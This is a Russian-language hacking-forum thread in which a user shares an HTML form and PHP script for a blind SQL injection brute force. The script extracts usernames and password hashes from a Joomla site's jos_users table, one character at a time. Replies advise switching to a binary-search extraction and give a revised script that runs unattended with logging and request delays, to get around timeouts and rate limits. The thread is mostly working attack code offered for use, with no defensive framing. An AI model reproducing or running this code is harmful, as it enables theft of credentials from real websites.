выполнение брута на HTML+PHP на удаленной машине

Статус
В этой теме нельзя размещать новые ответы.

krobol

Постоялец
Регистрация
5 Июн 2008
Сообщения
455
Реакции
126
У меня есть программка с web-интерфейсом

1 файл .html - страничка на которой запрашиваются параметры для передачи их в .php-страничку:

HTML:
<body>

<form action="brute.php" method="post">
Цель:<br /><input name="s" type="text" size="150" maxlength="150" /><br />
<br /><input name="submit" type="submit" value="Атака" />
</form>

</body>

php-страничка

PHP:
<?php

ini_set("max_execution_time",0);           // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ini_set('user_agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9');

$s = $_POST['s'];
$ret_str="";

for ($i=1;$i<100;$i++)
{
	for ($j=42;$j<123;$j++)
	{
		$query = "+and+ascii(substring((SELECT+concat(username,0x3a,password,0x3a)+from+jos_users+limit+0,1),$i,1))=$j";

		$res = file_get_contents($s.$query);

		if (strlen($res) > что-то)
		{
			$ret_str=$ret_str.chr($j);
			break;
		}

	}
}
print "$ret_str";
?>

на PHP идёт перебор символов и запросы к web-серверу. Всё это происходит долго - 15-30 мин.

Когда я запускаю это на своей машине с Денвером, то всё работает номально.
Но если заливаю эти два файла на удаленный хост, то при запуске через какое-то время выдаётся ошибка:
"HTTP-шлюз не отвечает (код ошибки: 504)"

Что я делаю неправильно?
 
for ($i=1;$i<100;$i++)
{
for ($j=42;$j<123;$j++)
{


<...>
какое-то время выдаётся ошибка:
"HTTP-шлюз не отвечает (код ошибки: 504)"

Что я делаю неправильно?

по идее ты просто досишь какой то из серваков
проще делать как в эксплойтах - спуск по пополамам - тогда на каждый символ нужно всего 8 запросов (256 символов = два в восьмой)
В смысле примерно следующее на каждую букву, вначале всего 256 кодов символов
начало=1;
конец=255;
новая_середина:
середина = (начало + конец)/2;

if ascii(ботва)>середина {начало=середина; конец=конец;} //выбираем вторую половину отрезка

иначе

if ascii(ботва)<середина {начало=начало; конец=середина} //выбираем первую половину отрезка

иначе
ascii(ботва) = середина -> выход сюда
jp новая_середина

сюда:
выродили букву!


ну или что то вроде, поточнее проверять условия
 
по алгоритму я понял, спасибо!

Но если прога долго выполняется, то по удалённому серверу всё равно остаётся вопрос.
на своей машине у меня всё нормально, а на удалённой ошибка
 
может там ограничено время выполнения скрипта?
 
такое не на одном сервере

если из unix-shell запускать: php script.php - то всё нормально, т.к. я сессию ssh не заканчиваю. А через броузер - отключается
 
Во-первых, добавь в начало скрипта:
PHP:
set_time_limit(0);
ignore_user_abort(1);
Во-вторых, пиши лог работы и результат в файл.
В-третьих, 504 ошибка может быть как на твоём хосте за лимит исходящих соединений, так и на хосте на котором брутишь за лимит входящих соединений, попробуй поставить sleep(); между запросами.

В итоге должно быть:
PHP:
<?php 
set_time_limit(0);
ignore_user_abort(1);
ini_set("max_execution_time",0);           // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
ini_set('user_agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9'); 

$f = fopen('logs.txt','w');
fwrite($f,"[".date('d-m-Y H:i:s')."] - Start\n");
fclose($f);
$s = $_POST['s']; 
$ret_str=""; 

for ($i=1;$i<100;$i++) 
{ 
    for ($j=42;$j<123;$j++) 
    { 
        $f = fopen('logs.txt','w');
        fwrite($f,"[".date('d-m-Y H:i:s')."] - Send query i:".$i." j:".$j."\n");
        fclose($f);
$query = "+and+ascii(substring((SELECT+concat(username,0x3a,password,0x3a)+from+jos_users+limit+0,1),$i,1))=$j"; 

        $res = file_get_contents($s.$query); 
        sleep(1);
        if (strlen($res) > что-то) 
        { 
            $ret_str=$ret_str.chr($j); 
            break; 
        } 

    } 
    sleep(5);
}
$f = fopen('logs.txt','w');
fwrite($f,"[".date('d-m-Y H:i:s')."] - End. Result:".$ret_str."\n");
fclose($f);
?>
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху